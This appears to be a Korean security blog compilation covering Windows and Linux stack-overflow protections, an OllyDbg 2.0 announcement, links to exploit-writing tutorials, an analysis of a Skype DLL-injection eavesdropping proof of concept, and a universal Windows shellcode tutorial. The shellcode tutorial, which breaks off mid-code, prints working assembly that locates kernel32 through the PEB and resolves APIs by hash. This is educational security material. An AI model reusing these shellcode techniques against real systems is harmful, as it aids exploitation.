1. 'Windows/Linux 환경에서의 Stack Overflow 보호기법'
2. 'ROP(Return Oriented Programming) Exploit'
3. 'SEH(Structed Exception Handling) Overwrite' 



Window
환경에서의 메모리 보호기법

1.  Window 버전별 메모리 보호기법

Window 버젼에서 실행되고 있는 메모리 보호기법입니다. 새로운 운영체제가 출시 때마다 발전된 메모리 보호기법을 확인할 있습니다.

 

XP

sp2, sp3

2003

sp1, sp2

Vista

sp0

Vista

sp1

2008

sp0

GS

Stack Cookies

Yes

Yes

yes

yes

Yes

Variable reordering

Yes

Yes

yes

yes

yes

#pragma strict_gs_check

No

No

no

yes

yes

SafeSEH

SEH handler

validation

Yes

Yes

yes

yes

yes

SEH chain

validation

No

No

no

yes

yes

Heap protection

Safe unlinking

Yes

Yes

yes

yes

yes

Safe lookaside lists

No

No

yes

yes

yes

Heap metadata

cookies

Yes

Yes

yes

yes

yes

Heap metadata

encryption

No

No

yes

yes

yes

DEP

NX support

Yes

Yes

yes

yes

yes

Permanent DEP

No

No

no

yes

yes

OptOut mode

by default

No

Yes

no

no

yes

ASLR

PEB, TEB

Yes

Yes

yes

yes

yes

Heap

No

No

yes

yes

yes

Stack

No

No

yes

yes

yes

images

No

No

yes

yes

yes

 


2.
메모리 보호기법 설명

(1) GS

GS Window 상에서 스택을 보호하는 기법으로, Visual Studio 2003버젼 이상에서 컴파일시 기본적으로 추가 되는 옵션입니다.

다음
화면은 Visual Studio 2010 상에서 확인한 GS 옵션입니다.

[그림 1] GS 옵션 설정

 ●  Stack Cookies

GS 옵션을 적용하게 되면 코드에 스택 체크 루틴이 추가됩니다. 컴파일러는 로컬 문자열 버퍼가 있는 함수의 BOF공격을 방지하기 위하여 검사를 합니다.

 

다음 화면은 BOF 공격이 발생하여 GS cookie 공격을 탐지하는 화면입니다.

[그림 2] BOF 탐지

 

GS옵션은 함수상에 로컬 문자열 버퍼가 있는경우 컴파일러는 쿠키(ret 변조를 막기위한 메모리공간) 추가하여 Buffer Ret 사이에 위치시켜 함수의 return 주소를 보호합니다.

[그림 3] stack cookie 구조

 

예를 들어 아래와 같은 코드가 있습니다. 먼저 왼쪽은 GS옵션을 사용하지 않은 경우 BOF 발생 가능한 소스코드입니다. 하지만 GS옵션을 사용할 경우 컴파일러가 자동으로 쿠키에 대한 코드를 추가로 넣습니다. 이로 인하여 RET 주소의 변조를 확인 가능합니다. 만약에 오버플로우가 일어나면 RET 앞에 위치한 cookie 값을 변조하게 됩니다.

이때 .data 영역에 저장된 cookie RET 앞에 위치한 cookie 비교하게 됩니다.  이때 쿠키가 변조된 것으로 판명되면 Abort()해서 스택오버플로를 방지하게 됩니다.

[GS 옵션 미적용]

void a3sc(char *input)

{

char buffer[256];

strcpy(buffer, input);

}

[GS 옵션 적용]

static_cookie = rand();

 

void a3sc(char *input)

{

int cookie = random_cookie;

 

char buffer[256];

strcpy(buffer, input);

 

if (cookie != random_cookie)

    abort();

}

 

(2) SafeSEH

SEH(Structured Exception Handling) Window 상에서 예외처리를 하는 기법입니다. DLL 상에 있는 SafeSEH 에서 존재하며 H/W, S/W 상에서의 예외처리가 가능합니다. 그리고 BOF 또는 메모리에 대한 손상이 발생이나 시스템이 예기치 않게 종료되는 이벤트 발생시, 프로그램에 대한 예외처리를 해주는 역할을 담당합니다.

 

SafeSEH 에러처리 레코드를 덮어쓰는 공격을 막기위한 기법입니다. SafeSEH 옵션을 지정후, 컴파일하게되면, 링커에서 안전한 예외 처리 목록을 생성하며, 이것은 헤더에 예외처리 목록에 포함됩니다. 만약 공격자가 예외처리 레코드를 덮어쓰게 되면 프로그램은 예외를 탐지하여 프로그램을 종료하게 됩니다.

 

다음 화면은 Visual Studio 2010상에서 SafeSEH 옵션을 설정하는 화면입니다.

[그림 4] SafeSEH 옵션

 

(3)  ASLR(Address Space Layout Randomization)

ASLR 프로세스내에서 매핑되는 오브젝트에 대하여 호출 실행시 실행하는 주소를 랜덤화하는 기법입니다. ASLR 매핑된 파일들을 , 스택, PEB, TEB 위치상에서   랜덤화를 적용합니다. 공격자는 BOF 공격을 시도하더라도, 오브젝트에 대한 정확한 주소를 알지 못하므로 BOF 공격을 실패하게 됩니다.

 

다음 화면은 링커의 속성에서 ASLR 옵션을 설정하는 화면입니다.

[그림 5] ASLR 옵션

 

다음은 간단한 소스를 통하여 ASLR 기능을 확인해보았습니다.

#include <stdio.h>

 

void main()

{

    char buffer[256];

    printf("buffer address: %p\n", buffer);

}

 


다음
화면은 ASLR 옵션을 적용하지 않았을 때의 프로그램 실행화면입니다. 프로그램을 실행할 때마다 Buffer 주소가 같음을 있습니다.

[그림 6] ASLR 옵션 미적용

 

다음 화면은 ASLR 옵션을 적용하여 프로그램을 실행한 화면입니다. 위의 화면과는 다르게 프로그램을 실행할 때마다, 주소값이 달라짐을 확인 가능합니다.

[그림 7] ASLR 옵션 적용

 

(4) DEP(Data Excution Prevention)

DEP 가상 메모리의 최소 단위인 페이지에 기존에 읽고 쓰는 권한 외에 실행 권한에 대해서 체크하도록하여 메모리 공격으로부터 시스템을 보호하는 방법입니다.

기본적으로 DEP 공격자가 stack, heap, data section에서 shellcode 실행하는 것을 금지합니다. 예를들어 DEP 기능이 활성화 되어 있을 , 악의적인 코드가 실행하는 시점에서 해당 영역에서 실행권한이 없으므로 예외가 발생하여 공격을 막을 있습니다.

 

다음 화면은 Window7에서 DEP 옵션을 설정하는 화면입니다.

[그림 8] DEP 옵션



Linux 환경에서의 메모리 보호기법

1. Linux 버전별 메모리 보호기법

 

ASLR

N/X(DEP)

ASCII

Armor

main()

canary

S

H

L

S

H

L

 

 

Red Hat

Linux9.0

O

X

X

X

X

X

X

X

Fedora

8 ~ 10

O

O

X

O

O

X

O

O

Fedora

11

O

O

X

O

O

O

O

X

Fedora

12

O

O

O

O

O

O

O

X

Cent OS

4.4

O

O

X

O

O

X

O

X

Cent OS

 4.5~4.8

O

O

O

O

O

X

O

X

Cent OS

5.0~5.4

O

O

O

O

O

X

O

O

Ubuntu

6.10~ 8.04.1

O

X

O

X

X

X

X

O

Ubuntu

8.10~ 9.0.4

O

O

O

X

X

X

X

O

Ubuntu

9.10

O

O

O

O

O

X

O

X

openSUSE 11.2

O

X

O

X

X

X

X

X

Gentoo 2006.0

O

X

O

X

X

X

X

X

Gentoo 2007.0

O

X

O

X

X

X

X

O

             (S : Stack, H : Heap, L : Library)

 


2.
메모리
보호 기법

(1) ASLR(Address Space Layout Randomization)

메모리상의 공격을 방어하기 위해 주소 공간배치를 난수화 시키는 기법입니다. , 스택, , 라이브러리 등의 데이터 영역 주소등을 난수화 시킨 주소로 프로세스의 주소 공간에 배치하는것입니다. Window 에서 적용되는것과 유사한 기법이며 리눅스 커널 2.6.12이후로 적용되어있습니다

 

다음은 Fedora 13에서 현재 프로세서상에서 메모리구조를 확인하는 화면입니다.

ASLR 적용으로 인하여 메모리상에 존재하는 주소가 지속적으로 변함을 있습니다.

[그림 9] ASLR

 

(2) DEP / NX(Not Excutable)

메모리상의 보호를 위해 stack heap에서 코드가 실행되는 것을 막는 기법입니다.

공격자가 BOF 공격을 일으키면 DEP 적용된 상태에서는 실행권한이 없으므로 프로그램에 대한 예외처리후, 종료가 됩니다.

 

다음은 Fedora 13에서 현재 프로세서상에서 메모리구조를 확인하는 화면입니다.

DEP 적용으로 인하여 stack, heap, libc 영역에 실행권한이 존재하지 않음을 확인 가능합니다.

[그림 10] DEP

 

(3) ASCII-Armor

Libc 영역을 보호하기 위한 기법으로 상위주소를 \x00으로 시작하게 만드는 기법으로 공격자는 라이브러리를 호출하는 BOF 공격시, NULL 바이트가 삽입된 주소로 접근 없게됩니다.

[그림 11] ASCII-Armor

 

(4) Canary

canary Window 에서의 메모리 보호 기법인 stack cookie 같은 개념으로 Buffer RET 사이에서 스택의 BOF 모니터링하는 역할을 담당합니다. BOF 발생하면 canary 데이터의 변조로 인하여 오버플로우에 대한 경고하고 프로그램을 종료시킵니다.

 

 l  Terminator canaries

문자열 끝문자를 이용하여 canary 구성하는 방법으로 canary 값으로 NULL, CR, LF, Oxff 값의 조합이 사용됩니다. 공격자는 공격시, 종료문자로 구성된 canary 값에 접근을 없게됩니다.


l  Random canary

프로그램을 실행할 때마다 임의의 canary 값을 삽입을 합니다. 이에 따라 공격자는

Canary 값을 예측불가능하므로 공격에 어려움이 발생합니다.


l  Null canary(0x00000000)

메모리상의 공격을 막기위해 canary 값을 NULL 구성합니다. 공격자는 공격코드상에 NULL 값을 삽입할 없으므고 canary 값에 접근이 불가능합니다.


 

다음 화면은 canary 적용되지 않은 프로그램을 분석한 화면입니다.

[그림 12] Canary 미적용

 

다음 화면은 canary 적용된 프로그램을 분석한 화면입니다.  GDB 분석결과 메모리상에서 canary 대한 영역이 설정된 , buffer 구조가 설정되는 것을 확인 있습니다.

[그림 13] Canary 적용

 


참고 URL

1.   http://msdn.microsoft.com

2.   http://x82.inetcop.org/

3.   http://nchovy.kr/forum/5/article/377

4.   http://en.wikipedia.org/wiki/Buffer_overflow_protection

5.   http://ko.wikipedia.org/wiki/버퍼 오버플로우

6.   http://lucid7.egloos.com/

7.   http://uptx.egloos.com/

 

 

참고 문헌

1.   poc09-sotirov.pdf(POC 2009 발표자료)

2.   BHUS10_Paper_Payload_already_inside_data_reuse_for_ROP_expl.pdf

(BlackHat 2010 USA 발표자료)

3.   Linux Memory Protectiion Mechanism

4.   bh08sotirovdowd.pdf(BlackHat 2008 발표자료)

5.   BOF_공격방지_매커니즘_구현의_최신_동향.pdf

6.   http://www.shell-storm.org/papers/files/732.pdf

7.   www.phreedom.org/presentations/reverse.../reverse-engineering-ani.pdf

8.   CanSecWest2010 – SEH Overwrite, Shuichiro Suzuki

9.   Windows 구조와 원리 (OS를 관통하는 프로그래밍 원리) - 정덕영

저작자 표시 비영리 변경 금지
신고

OllyDbg v2.0 release

S/W 역공학 분석(Reversing) 2010.06.08 11:10 Posted by 비회원

OllyDbg 2.0이 정식 발표되었습니다.

2007년 10월부터 개발을 시작하여, 3년이 조금 못되는 시간동안 개발된 결과입니다.


1) OllyDbg 2.0 프로그램 간결화

다음 화면은 OllyDbg 2.0 과 OllyDbg 1.x  설치 비교 화면입니다.

기존의 버젼과는 달리 프로그램의 간결화를 확인 할 수 있습니다.




이번에는 UI 화면 비교입니다.(프로그램은 크랙미입니다.) UI 상으로는 미세한 부분을 제외하고 큰 변화는 없었습니다.




2) 업데이트

OllyDbg 2.0의 업데이트 내용은 다음과 같습니다.

* Full support for SSE instructions, including SSE3 and SSE4. SSE registers are accessed directly, without code injection;

* Execution of commands in the context of debugger, allowing run trace speed - with conditions and protocolling! - of up to 1,000,000 commands per second;

* Unlimited number of memory breakpoints;

* Conditional memory and hardware breakpoints;

* Reliable, analysis-independent hit trace;

* Analyser that recognizes the number (and sometimes the meaning) of the arguments of unknown functions;

* Detaching from debugged process;

* Debugging of child processes;

* Built-in help for integer and FPU commands;

* Option to pause on TLS callback;

* Option to pass unprocessed exceptions to the unhandled exception filter.


3) 메뉴얼

먼저 OllyDbg 2.0의 help.pdf 파일을 살펴보겠습니다.

기존 버젼에서 제공하지 않았던 메뉴얼을 통하여 사용자의 편의성을 돕고 있습니다.




4) 다운로드 

다운로드 주소 : http://www.ollydbg.de/version2.html
신고


 "Exploit Writing"이라는 주제로 학습을 하실때 참고할만한 문서입니다.

회원가입을 한다면 PDF로도 문서를 제공합니다.

어제 날짜(2월 25일)로도 따근한~ 9번째 문서가 나왔네요.

블로그 주소 : http://www.corelan.be:8800/index.php/category/security/exploit-writing-tutorials/

 [해당 문서들 주소]
http://www.corelan.be:8800/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/
http://www.corelan.be:8800/index.php/2009/07/23/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-2/
http://www.corelan.be:8800/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/
http://www.corelan.be:8800/index.php/2009/07/28/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b/
http://www.corelan.be:8800/index.php/2009/08/12/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics/
http://www.corelan.be:8800/index.php/2009/09/05/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development/
http://www.corelan.be:8800/index.php/2009/09/21/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr/
http://www.corelan.be:8800/index.php/2009/11/06/exploit-writing-tutorial-part-7-unicode-from-0x00410041-to-calc/
http://www.corelan.be:8800/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
http://www.corelan.be:8800/index.php/2010/02/25/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding/

저작자 표시 비영리 변경 금지
신고


 SkypeDLLInjector 에 의한 VoIP 도청 가능성 분석


▷ 작성자 : kyh1026 (
kyh1026@a3sc.co.kr)
▷ 편집자 : 니키 (
ngnicky@a3sc.co.kr)


* 본 연구 문서는 신규 취약점 또는 보안 기술 우회 기법에 관한 문서로써 악용될 우려가 있는 상세 공격 코드 및 내용을 제한 합니다.

1. SkypeDLLInjector 개요
2009년 8월 27일에 소개된 “Skype Malware”는 Skype 프로그램을 사용하고 있는 사용자들간의 음성 데이터 통신 (VoIP) 여부를 판단할 수 있고 도청이 가능하다. "SkypeDLLInjector"를 분석함으로써, 해당 바이러스의 흐름을 상세히 파악하였다.

 Skype malware참고 URL
http://blog.ahnlab.com/asec/105
http://www.internetnews.com/security/article.php/3836751

                                                                    [표 1] Skype Malware 참고 URL


가. skype
Skype는 전 세계인을 대상으로 하는 인터넷 폰 및 메신저 프로그램 이다. Skype를 설치한 시스템에서는 국내외를 막론하고 전 세계인들과 무료로 전화를 할 수 있으며, 채팅기능이 있어 많은 사용자에게 인기 있는 프로그램이다.
 

나. 흐름도

Skype Malware의 개략적인 흐름 입니다.


                                       [그림1] Skype Malware 흐름


Skype Malware는EXE파일형태의 DLL Loader와 DLL파일형태의 Executor로 구성되어 있다. 현재 분석한 바이너리는 POC형태이기 때문에 직접 실행 시켜줘야 DLL이 Injection 되면서 본 기능을 수행하게 된다.

DLL이 로드되면 하는 중요한 일은 크게 2가지 이다.

첫번째로 DLL Injection을 수행한다. 현재 시스템에서 동작하고 있는 모들 프로세스들에게 DLL Injection을 실행하여 Skype의 실행여부를 확인한다.

두번째로Skype가 실행되어 있다면, Send(), Recv() API를 Detour Hooking 을 한다. 두 API를 Detour Hooking을 함 으로써 Skype Malware에서 관심을 받았던 도청기능을 수행 할 수 있다.


다. 대응방안


1) 관련 악성코드는 각 백신에서 이미 치료가 가능한 상태이지만 백신을 항상 최신 버전으로 유지해야 한다.

2) 그리고 관련 악성코드가 e-mail, web등으로 전파가 도리 수 있기 때문에 방화벽프로그램 등 이에 대비할 수 있어야 하며, 윈도우를 최신버젼으로 유지해야 한다.

※ 그리고 분석 중 Skype가 자동으로 종료되 로그오프 되어버리는 증상이 있었으므로, 만약 그런 증상이 나타난다면 의심을 해 볼 수 있다.


3. 세부내역

Skype Malware는 앞에서도 이야기 했듯이 EXE파일의 형태인 Loader와 Executor인 DLL파일로 구성되며, Loader와 Executor를 분석해 보며 Skype Malware의 동작과정 및 시스템에 미치는 영향을 알아보도록 하겠다.

---해당 상세내역은 악용할 우려가 있어 생략합니다---

가. Loader
EXE파일 형태의 Loader는 SkypeDLLInjector.cpp 파일에 관련 코드가 있다. 이는 Console프로그램으로 실행할 때 인자로 Inject할 DLL의 경로를 받고 있다.

                                                        [그림2] Loader 시작부


---해당 상세내역은 악용할 우려가 있어 생략합니다---

이 코드를 통해 Loader가 로드된 후 Skype를 종료시키고 다시 실행시킴으로써 Loader가 Skype를 자식프로세스로 두고, 로그인을 담당하던 skypePM.exe가 실행되지 않는 것이다. 실제 시스템상의 사용자가 확인할 수 있는 Skype의 상태이다.

                                                                 [그림3] Skype Malware 흐름

이 상황을 보고 사용자는 Skype상의 연결이 끊어진 줄 알고 별일 아니라는듯 다시 로그인을 시도 할 것이다.

나. Executor

DLL형태의 Executor는 DLLToInject.cpp파일에 관련 루틴이 있다. Executor는 로드된 후 전역훅을 통해 모든 프로세스에 DLL Injection을 실행하고, Skype의 실행여부를 확인하여 실행되고 있으면, Detour Hook을 감행한다.

패치 가능한 크기가 구해졌다면, 그 크기만큼 패치할 Instruction덩어리를 만든다. FillMemory()를 이용하여 할당 된 메모리에 NOP(0x90) 으로 초기화한 후 GenJmp를 이용하여 JMP Instruction을 삽입한다.


                                                                   [그림 4] JMP Instruction 삽입 후 루틴

---해당 상세내역은 악용할 우려가 있어 생략합니다---

즉 send(), recv()를 호출하면, MySend(), MyRecv()가 호출되며 그 함수에서 특정 작업을 수행한 후 send(), recv()가 호출되는 형식으로 동작하게 된다.

MySend(), MyRecv()에서는 Send(), Recv()를 통해 오가는 데이터의 내용을 출력한 후 원래 함수를 호출하는 루틴으로 구성되어 있다.

                                                                   [그림 5] printDebug()

printfDebug()를 통해 SkypeMalware가 수행한 history를 남긴다. 실제로 Skype Malware가 악의적인 목적을 가지고 실행된다면 이런 기능은 없을 것이다. 하지만, 이 코드는 POC형태이기 때문에 DLL이 Load되면 debug.txt파일을 생성해 주고, 관련 작업들을 debug.txt파일에 기록한다.

DLL이 injection되고, 통화버튼을 눌러 DLL이 작업한 결과를 보도록 하겠다.


                                                                    [그림 6] debug.txt 생성

DLL이 Injection되면 debug.txt가 생성 되었다.

                                                              [그림 7] Skype로 전화거는 중


Skype로 전화걸기를 시도했을 경우 네트워크 전송으로 패킷이 전송되어야 하기 때문에 send()와 recv()를 사용 할 것이다. 전화걸기 중에 debug.txt파일을 확인해 보았다.

                                                                    [그림 8] debug.txt 내용

send(), recv()가 호출될 때 마다 DetourHooking된 MySend(), MyRecv()가 호출되어 debug.txt에 내용을 출력하는 것을 확인 할 수 있다. 이렇게 VoIP관련 해서 도청도 가능하리라 생각된다.



※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.

저작자 표시 비영리 변경 금지
신고

▷ 작성자 : Hong10 (hong10@a3sc.co.kr)
▷ 편집자 : 니키 (ngnicky@a3sc.co.kr)

문서 작성일 : 2009년 2월 12일
최종 수정일 : 2009년 2월 12일

Hong10님께서 이번에는 "Windows Universal ShellCode"에 대해 집중 분석을 하였습니다. 긴 내용이지만 한번에 모두 포스팅을 하도록 하겠습니다. 프린터 하셔서 보시면 더욱 효율적이라 생각하네요^^)


I. Windows Universal ShellCode


1. Base Knowlage

일반적으로 작성되는 기초적인 쉘 코드는 유저레벨의 함수 호출을 이용하여 프로그래밍 언어로 제작하여 기계어 코드를 생성 한 뒤 그것을 이용합니다. Nix 류의 OS 에서는 Kernel 과 User 의 경계선이 Shell 의 의해 컨트롤 되어 지며 Windows 보다는 좀더 유연한 Kernel 과 통신이 가능합니다.
그래서 Windows 와 비교해서 쉘 코드 작성시 더욱 간편하며 대부분 시스템 프로그래밍을 이용하여 작성 되어지기 때문에 국가/버전에 제약을 덜 받는 쉘 코드 작성이 가능합니다. 하지만 Windows 에서는 Kernel 과의 통신을 엄격히 OS에서 관리 되어 지고 있으며 Windows 특성상 국가/버전에 따른 메모리 영역 주소가 조금씩 차이가 나며 이것은 쉘 코드 작성함에 있어서 Universal 한 코드의 작성을 어렵게 합니다.
흔히 Milw0rm 에 올라오는 Windows Exploit 코드들을 테스트 하다 보면 정상적으로 실행이 안 되는 대다수의 경우가 테스트 쉘 코드 때문에 그러합니다. 그래서 이 문서에서는 Windows 의 어떠한 버전에서도 실행되는 쉘 코드의 개념을 설명 하려 합니다.

Windows 에서 일반적인 쉘 코드 작성의 문제점은 이러합니다.
먼저 쉘 코드를 만들 때 Windows Api 중 CreateProcess,WinExec Api 를 이용하여 CMD.EXE 를 실행하여 쉘코드를 작성 합니다. 하지만 앞서 애기 했듯이 위에서 언급한 Api는 Kernel32.dll 에 의해 export 되어집니다. 윈도우에서는 Kernel32.dll 가 로드 되는 메모리 주소가 국가/버전 별로 조금씩 차이가 있기 때문에 잘못된 위치를 가르켜 실행이 되지 않습니다.
또한 대부분 Exploit 코드들에서는 Kernel32.dll 이나 ntdll.dll 의 시스템 모듈에서 “jmp esp” , “call esp”의 옵 코드들을 찾아 하드코딩 형태로 작성 되기 때문에 이 또한 실행에 많은 제약이 있습니다.(이것은 윈도우 어플리케이션을 공격 할 시 사용되는 일반적인 방법)

그럼 다음 코드를 통하여 하나씩 Step By Step 하는 형태로 설명 을 나가겠습니다.

 #pragma comment(lib,"psapi.lib")  //컴파일 시 필요한 라이브러리를 로드
//vc 6.0에서 alt+f7을 이용하여 Link 를 세팅하는 것 과 같다.
int main (int argc,char* argv[])
{
HMODULE    hProcessModule[100];
MODULEINFO miModuleInfo;
DWORD      dwReturn;
DWORD      dwModuleNb;
char       BaseName[128];
char       FileName[MAX_PATH];
DWORD      i;

EnumProcessModules(GetCurrentProcess(),hProcessModule,sizeof(hProcessModule),&dwReturn);

dwModuleNb = dwReturn / sizeof(HMODULE);  // 사이즈를 4의 배수만큼 나누어준다.
//그럼 실제 사이즈가 나옴.
for ( i = 0; i < dwModuleNb; i++ )
{
GetModuleBaseName(GetCurrentProcess(),hProcessModule[i],BaseName,sizeof(BaseName));
GetModuleFileName(hProcessModule[i],FileName,sizeof(FileName));
GetModuleInformation(GetCurrentProcess(),hProcessModule[i],&miModuleInfo,sizeof(miModuleInfo));
printf(" Base Name: %s\n",BaseName);
printf(" File Name: %s\n",FileName);
printf(" Load Address: %p\n",miModuleInfo.lpBaseOfDll);
printf(" Size of Image: %08X\n",miModuleInfo.SizeOfImage);
printf(" Entry Point: %p\n\n",miModuleInfo.EntryPoint);
}
while ( !_kbhit() ) ;   // 콘솔에 키 입력이 있는지 조사한다.
return 0;
}


위의 코드는 현재 실행한 프로세서가 로드한 모듈을 리스트로 나타낸 것입니다. 다음은 실행 화면입니다.

 
Windows Kernel 에서는 EPROCESS 라는 구조체로 Kernel Process 를 관리하고 있습니다. 해당 구조체 값 중 우리가 다뤄야 할 부분은 PEB(Process Environment Block)입니다. PEB 은 유저레벨에서 프로세스에 대한 추가적인 정보를 저장하고 있는 구조체 입니다.

PEB의 값 중 LDR 란 구조체는 더블 링크드 리스트 형태로 로드된 모듈에 대한 포인터를 가리키고 있으며 이 리스트를 나타내는 포인터는 모듈이 로드 된 순서, 위치한 순서, 초기화된 순서를 나타내는 3가지 종류의 리스트를 가집니다.

아래와 같이 순서대로 가리키는 구조체 순서를 나타내어 봤습니다.



EPROCESS

+0x1b0 Peb

PEB

+0x00c LDR

LDR

+0x01c InInitializationOrderModulelist : List Entry


다음은 LDR 의 ListEntry의 값입니다
+0x000 Flink(Forward) : Ptr _List_Entry
+0x004 Blink(Backward) : Ptr_ListEntry

다음 코드를 이용하여 각 구조체가 의미하는 값들에 대해 알아 보겠습니다

 void main (int argc,char* argv[])
{
  void* Flink       = NULL;
  void* p           = NULL;
  void* EntryPoint  = NULL;
  void* FullDllName = NULL;
  void* BaseDllName = NULL;
  void* DllBase     = NULL;
  DWORD SizeOfImage = 0;

  // Jump to the first InInitializationOrderModuleList item

  _asm
{
//mov edx,0x7ffdf00C
    //mov edx,DWORD PTR [edx]
    //add edx,0x1C
xor edx,edx
    mov dl,0x30
mov edx,fs:[edx]         //current process of PEB
//mov edx,ds:[edx+0x30]
add edx,0xc               //peb offset 0xc is ldr
//mov edx,0x7ffdf00C       //peb의 ldr,->1c listmodules 초기화된 순서대로..
    mov edx,DWORD PTR [edx]
    add edx,0x1C           //ldr offset 0x1c is initializationorderModulelist 초기화된 순서대로..
    mov Flink,edx
    mov p,edx
  }
  // Loop through the list
  do
  {
    _asm
    {
      mov eax,p

      ; Next Flink

      mov edx,DWORD PTR [eax]
      mov p,edx

      ; DllBase

      mov edx,DWORD PTR [eax+8]
      mov DllBase,edx

      ; Not the first item?

      cmp edx,0
      jne Good

      ; First item

      mov edx,DWORD PTR [eax+0x24+8]
      mov DllBase,edx
      add eax,0x24

    Good:

      mov edx,DWORD PTR [eax+0x0C]
      mov EntryPoint,edx
      mov edx,DWORD PTR [eax+0x10]
      mov SizeOfImage,edx
      mov edx,DWORD PTR [eax+0x18]
      mov FullDllName,edx
      mov edx,DWORD PTR [eax+0x20]
      mov BaseDllName,edx
    }

    wprintf(L" Base Name:     %s\n",BaseDllName);
    wprintf(L" File Name:     %s\n",FullDllName);
    printf(" Load Address:  %p\n",DllBase);
    printf(" Size of Image: %08X\n",SizeOfImage);
    printf(" Entry Point:   %p\n\n",EntryPoint);
  }
  while ( Flink != p );
  while ( !_kbhit() ) ;
}


단 여기서 주의할 점은 첫 이미지 베이스는 현재 current process(exe) 인데 이 값은 다른 모듈 리스트와 별개의 오프셋에 존재를 합니다.

다음은 해당 코드를 VC 6.0 에서 디버깅 하는 화면 입니다.


 
디버깅 도중 현재 프로세서의 PEB 의 LDR 의 값은 0x241ebc 값이며 덤프 된 값은 아래와 같습니다.
00241EBC  58 1F 24 00 20 20 24 00 00 00 00 00 AB AB AB AB  X.$.  $.....カカ
00241ECC  AB AB AB AB 00 00 00 00 00 00 00 00 0D 00 08 00  カカ............
00241EDC  D6 07 18 00 48 1F 24 00 AC 1E 24 00 50 1F 24 00  ....H.$...$.P.$.
00241EEC  B4 1E 24 00 00 00 00 00 00 00 00 00 00 00 40 00  ..$...........@.
00241EFC  D0 16 40 00 00 E0 02 00 70 00 72 00 34 09 02 00  ..@.....p.r.4 ..
00241F0C  1E 00 20 00 86 09 02 00 00 50 00 00 FF FF 00 00  .. .. ...P......

아래는 박스 친 값에 따른 분류표 입니다.

FLink

0x00241F58

BLink

0x00242020

Loading address of the module

0x00400000

Entry point of the module

0x004016D0

Size , In bytes , occupied by the module

0x0002E000

File Name

0x00020934

Base Name

0x00020986



여기서는 총 3 개의 모듈이 로드 되며 0x00242020 에는 kernel32.dll 의 모듈 리스트를 나타 냅니다. 즉 InInitializationOrderModulelist 로 나타내는 모듈 리스트는 current process -> ntdll.dll -> kernel32.dll 로 초기화 되는 모듈 리스트가 정해져 있습니다.

이런한 더블 링크드 리스트는 다음 그림과 같이 표현이 됩니다.


 

또한 InInitializationOrderModulelist 의 값들은 다음과 같이 표현 됩니다. 앞서 설명 과 같이 current process는 약간 다른 예외적 상황임을 알 수 있습니다.

 0x000 Flink                        : LIST_ENTRY
0x004 Blink                        : LIST_ENTRY
0x008 DllBase                     : Ptr32
0x00C EntryPoint                 : Ptr32
0x010 SizeOfImage                 : Uint4B
0x014 FullDllName                 : UNICODE_STRING
0x014 (0x000) Length           : Uint2B
0x016 (0x002) MaximumLength  : Uint2B
0x018 (0x004) Buffer              : Ptr32
0x01C BaseDllName                   : UNICODE_STRING
0x01C (0x000) Length             : Uint2B
0x01E (0x002) MaximumLength  : Uint2B
0x020 (0x004) Buffer              : Ptr32

Universal 한 Windows 쉘 코드 작성에 필요한 값들을 알아 보았습니다. 위와 같은 값을 알 아 본 이유는 쉘 코드 작성시 PEB 을 이용하여 kernel32.dll 의 DllBase를 획득하기 위하여 입니다.
이는 위에서 설명한 kernel32.dll 이 export 하고 있는 API 중 CreateProcess , WinExec를 사용하기 위하여 DllBase를 얻은뒤 export 하고 있는 함수 주소의 offset을 계산한 뒤 호출을 함으로써 국가/버전에 관계없는 universal 한 쉘 코드를 획득 할 수 있습니다.

또한 “Understanding Windows Shellcode” 문서에서 설명하고 있는 것으로 kernel32.dll의 DllBase를 얻는 방법에는 PEB,SEH,TOP STACK 을 이용하는 세가지 방법이 있습니다. 이렇게 kernel32.dll 의 DllBase를 획득한 뒤 EAT(Export Address Table) , IAT(Import Address Table) 의 Offset을 계산 합니다.

Function Name 역시 유일한 값을 얻기 위하여 Hash 알고리즘을 통하여 Hash값을 구한 뒤 비교 구문을 통하여 좀더 안정성 있는 쉘 코드를 구하게 됩니다. 다만 오버헤드가 커진다는 단점이 있는데 이것은 다양한 어셈 코드 연구를 통하여 해커들이 극복해나가야 할 또 다른 과제라고 생각이 되어 집니다.



2. Basic Windows Shell

그럼 다음 코드를 통하여 어떻게 PEB을 통하여 Kernel32.dl 의 DllBase 를 얻는 지와 WinExec 의 Hash 값을 통하여 EAT 의 Function Entry 를 얻는 과정을 설명 하겠습니다.

 #define EMIT_4_LITTLE_ENDIAN(a,b,c,d)   _asm _emit a __asm _emit b __asm _emit c __asm _emit d
int main(int argc, char* argv[])
{
 _asm
 {
universalshell:
 jmp startup_bnc
find_kernel32:
  mov esi,[esp]
  push esi
  xor eax,eax
  mov eax,fs:[eax+0x30]
  test eax,eax
  js find_kernel32_9x
find_kernel32_nt:
  mov eax,[eax+0x0c]
  mov esi,[eax+0x1c]
  lodsd
  mov eax,[eax+0x8]
jmp find_kernel32_finished
find_kernel32_9x:
  mov eax,[eax+0x34]
  lea eax,[eax+0x7c]
  mov eax,[eax+0x3c]
find_kernel32_finished:
  pop esi
  ret
find_function:
  pushad
  mov ebp,[esp+0x24]
  mov eax,[ebp+0x3c]
  mov edx,[ebp+eax+0x78]
  add edx,ebp
  mov ecx,[edx+0x18]
  mov ebx,[edx+0x20]
  add ebx,ebp
find_function_loop:
  jecxz find_function_finished
  dec ecx
  mov esi,[ebx+ecx*4]
  add esi,ebp
compute_hash:
  xor edi,edi
  xor eax,eax
  cld
compute_hash_again:
  lodsb
  test al,al
  jz compute_hash_finished
  ror edi,0xd
  add edi,eax
  jmp compute_hash_again
compute_hash_finished:
find_function_compare:
